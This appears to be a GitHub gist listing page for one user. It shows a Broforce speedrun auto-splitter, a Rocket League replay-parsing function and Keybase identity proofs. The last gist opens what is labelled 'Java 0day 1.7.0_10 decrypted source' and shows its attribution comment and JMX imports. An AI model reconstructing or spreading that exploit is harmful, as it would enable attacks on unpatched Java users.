Skip to content

Instantly share code, notes, and snippets.

@argusdusty
argusdusty / broforce.asl
Last active October 29, 2018 01:00
Broforce Auto Splitter for Livesplit
state("Broforce_beta", "")
{
// The level of the current campaign
// If you need to scan for this: offset always ends with 0x18
byte level : "Broforce_beta.exe", 0x1020554, 0x64, 0xA4, 0x9C, 0xC8, 0x18, 0x18;
// The timer behind the 3...2...1...Go! countdown. See start for more details
float start_timer : "Broforce_beta.exe", 0xFE4CB0, 0x40, 0xA8;
// Indicates whether or not we're in the main menu. 1 when we are, 0 when we aren't
@argusdusty
argusdusty / parse_rb_updates.py
Created October 8, 2017 20:16
Converts Rocket League rattletrap replay JSON data into only rigid body updates in an easier-to-use format
# Filters rattletrap replay JSON data into only rigid body updates in an easier-to-use format
def parseRBupdates(data):
playerNameMap = dict() # real_actor_id -> player_name
ballId = 0 # actor_id int - set later in the code (hopefully)
actorIdMap = dict() # temp_actor_id -> real_actor_id
rigidBodyUpdates = []
for frame_number, frame in enumerate(data['content']['frames']):
for i, replication in enumerate(frame['replications']):
actorId = replication['actor_id']['value']
if 'spawned_replication_value' in replication['value']: # Spawned something

Keybase proof

I hereby claim:

  • I am argusdusty on github.
  • I am argusdusty (https://keybase.io/argusdusty) on keybase.
  • I have a public key whose fingerprint is 9E01 8457 E783 FD3A 97F7 A94D B033 B245 8F20 A647

To claim this, I am signing this object:

Keybase proof

I hereby claim:

  • I am argusdusty on github.
  • I am argusdusty (https://keybase.io/argusdusty) on keybase.
  • I have a public key whose fingerprint is 45B0 8822 2B4C 409A F155 4702 F199 9202 EFAF 21D2

To claim this, I am signing this object:

/*
Java 0day 1.7.0_10 decrypted source
Originaly placed on https://damagelab.org/index.php?showtopic=23719&st=0
From Russia with love.
*/
import java.applet.Applet;
import com.sun.jmx.mbeanserver.JmxMBeanServer;
import com.sun.jmx.mbeanserver.JmxMBeanServerBuilder;
import com.sun.jmx.mbeanserver.MBeanInstantiator;